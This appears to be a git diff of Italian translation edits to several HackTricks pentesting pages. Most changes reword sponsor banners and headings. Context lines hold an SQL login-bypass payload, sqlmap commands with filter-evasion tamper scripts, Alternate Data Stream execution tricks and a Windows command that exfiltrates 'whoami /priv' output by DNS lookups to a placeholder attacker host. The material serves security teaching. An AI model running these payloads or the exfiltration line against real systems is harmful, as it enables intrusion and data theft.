Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
Questa lista contiene **payload per bypassare il login tramite XPath, LDAP e SQL injection** (in quest'ordine).
|
||||
|
||||
Il modo per utilizzare questa lista è mettere le **prime 200 righe come nome utente e password.** Poi, inserisci l'intera lista nel campo del nome utente per primo e poi in quello della password, mentre metti una password (come _Pass1234._) o un nome utente conosciuto (come _admin_).
|
||||
Il modo per utilizzare questa lista è mettere le **prime 200 righe come nome utente e password.** Poi, inserisci l'intera lista nel campo del nome utente prima e poi in quello della password, mentre metti una password (come _Pass1234._) o un nome utente noto (come _admin_).
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -841,8 +841,8 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -10,14 +10,14 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -63,9 +63,9 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
## Injection place
|
||||
## Luogo di Iniezione
|
||||
|
||||
### Da Burp/ZAP capture
|
||||
### Dalla cattura di Burp/ZAP
|
||||
|
||||
Cattura la richiesta e crea un file req.txt
|
||||
```bash
|
||||
|
@ -94,7 +94,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
### Indica la stringa quando l'iniezione ha successo
|
||||
### Indica stringa quando l'iniezione ha successo
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
|
@ -127,7 +127,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
### Second Order Injection
|
||||
### Iniezione di Secondo Ordine
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
|
@ -164,34 +164,34 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
|
|||
| base64encode.py | Codifica in Base64 tutti i caratteri in un dato payload |
|
||||
| between.py | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
|
||||
| chardoubleencode.py | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| chardoubleencode.py | Codifica in doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| commalesslimit.py | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| charunicodeencode.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022" |
|
||||
| charunicodeescape.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022" |
|
||||
| charencode.py | Codifica in url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| charunicodeencode.py | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022" |
|
||||
| charunicodeescape.py | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022" |
|
||||
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE' |
|
||||
| escapequotes.py | Escape con barra delle virgolette (' e ") |
|
||||
| greatest.py | Sostituisce l'operatore maggiore di ('>') con il suo equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
|
||||
| ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
|
||||
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a zero-versione |
|
||||
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a zero versione |
|
||||
| multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
|
||||
| nonrecursivereplacement.py | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri |
|
||||
| percentage.py | Aggiunge un simbolo di percentuale ('%') davanti a ogni carattere |
|
||||
| overlongutf8.py | Converte tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| randomcase.py | Sostituisce ogni carattere della parola chiave con un valore di caso casuale |
|
||||
| randomcase.py | Sostituisce ogni carattere parola chiave con un valore di caso casuale |
|
||||
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
|
||||
| securesphere.py | Aggiunge una stringa appositamente creata |
|
||||
| sp\_password.py | Aggiunge 'sp\_password' alla fine del payload per l'oscuramento automatico dai log DBMS |
|
||||
| space2comment.py | Sostituisce il carattere spazio (' ') con commenti |
|
||||
| space2dash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2hash.py | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2morehash.py | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2hash.py | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2morehash.py | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2mssqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mssqlhash.py | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una nuova riga ('\n') |
|
||||
| space2mssqlhash.py | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una nuova riga ('\n') |
|
||||
| space2mysqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mysqldash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n') |
|
||||
| space2plus.py | Sostituisce il carattere spazio (' ') con un più ('+') |
|
||||
|
@ -199,7 +199,7 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
|
|||
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro equivalenti simbolici (&& e |
|
||||
| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
|
||||
| unmagicquotes.py | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
|
||||
| uppercase.py | Sostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT' |
|
||||
| uppercase.py | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT' |
|
||||
| varnish.py | Aggiunge un'intestazione HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Racchiude ogni parola chiave non funzione con un commento MySQL versionato |
|
||||
| versionedmorekeywords.py | Racchiude ogni parola chiave con un commento MySQL versionato |
|
||||
|
@ -207,15 +207,15 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero ess
|
|||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
Oggigiorno **le applicazioni web** di solito **utilizzano** qualche tipo di **proxy intermediari**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
|
||||
Oggigiorno le **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy intermediari**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Abuso degli header hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
|
@ -61,7 +61,7 @@ Se i dati introdotti possono in qualche modo essere riflessi nella risposta, la
|
|||
* [ ] [**Inquinamento del Prototype a XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**Inclusione lato server/Inclusion lato edge**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Iniezione di Template lato Server**](ssti-server-side-template-injection/)
|
||||
* [ ] [**Iniezione di Template lato server**](ssti-server-side-template-injection/)
|
||||
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
||||
* [ ] [**Iniezione XSLT lato server**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**XSS**](xss-cross-site-scripting/)
|
||||
|
@ -100,7 +100,7 @@ A seconda degli HTTP headers forniti dal server web, alcune vulnerabilità potre
|
|||
* [ ] [**Clickjacking**](clickjacking.md)
|
||||
* [ ] [**Bypass della Content Security Policy**](content-security-policy-csp-bypass/)
|
||||
* [ ] [**Hacking dei Cookies**](hacking-with-cookies/)
|
||||
* [ ] [**CORS - Misconfigurazioni & Bypass**](cors-bypass.md)
|
||||
* [ ] [**CORS - Misconfigurazioni e Bypass**](cors-bypass.md)
|
||||
|
||||
### **Bypass**
|
||||
|
||||
|
@ -111,7 +111,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
|
|||
* [ ] [**Bypass Captcha**](captcha-bypass.md)
|
||||
* [ ] [**Bypass Login**](login-bypass/)
|
||||
* [ ] [**Condizione di Gara**](race-condition.md)
|
||||
* [ ] [**Bypass Limite di Frequenza**](rate-limit-bypass.md)
|
||||
* [ ] [**Bypass del Limite di Frequenza**](rate-limit-bypass.md)
|
||||
* [ ] [**Bypass Reset Password Dimenticato**](reset-password.md)
|
||||
* [ ] [**Vulnerabilità di Registrazione**](registration-vulnerabilities.md)
|
||||
|
||||
|
@ -134,7 +134,7 @@ Gli utenti che aprono file caricati da altri utenti o generati automaticamente i
|
|||
* [ ] [**Caricamento di File**](file-upload/)
|
||||
* [ ] [**Iniezione di Formula**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Iniezione PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**XSS lato Server**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
* [ ] [**XSS lato server**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Gestione dell'Identità Esterna**
|
||||
|
||||
|
@ -153,9 +153,9 @@ Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -344,7 +344,7 @@ help
|
|||
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
|
||||
encoding
|
||||
```
|
||||
### Listen address ACLs
|
||||
### Indirizzi di ascolto ACL
|
||||
|
||||
Puoi ascoltare su [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) senza essere amministratore.
|
||||
```bash
|
||||
|
@ -374,7 +374,7 @@ Puoi anche **reindirizzare** l'output e poi **leggerlo**.
|
|||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||
```
|
||||
## Chiamare CMD da codice C
|
||||
## Chiamare CMD dal codice C
|
||||
```c
|
||||
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
|
||||
|
||||
|
@ -391,7 +391,7 @@ return 0;
|
|||
```
|
||||
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
|
||||
|
||||
**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti altri lì dentro!**
|
||||
**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti altri!**
|
||||
```bash
|
||||
## Selected Examples of ADS Operations ##
|
||||
|
||||
|
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,17 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## How it Works
|
||||
## Come Funziona
|
||||
|
||||
**Smbexec** è uno strumento utilizzato per l'esecuzione remota di comandi su sistemi Windows, simile a **Psexec**, ma evita di posizionare file dannosi sul sistema target.
|
||||
|
||||
### Key Points about **SMBExec**
|
||||
### Punti Chiave su **SMBExec**
|
||||
|
||||
- Funziona creando un servizio temporaneo (ad esempio, "BTOBTO") sulla macchina target per eseguire comandi tramite cmd.exe (%COMSPEC%), senza scaricare alcun binario.
|
||||
- Nonostante il suo approccio furtivo, genera registri di eventi per ogni comando eseguito, offrendo una forma di "shell" non interattiva.
|
||||
|
@ -56,15 +56,15 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue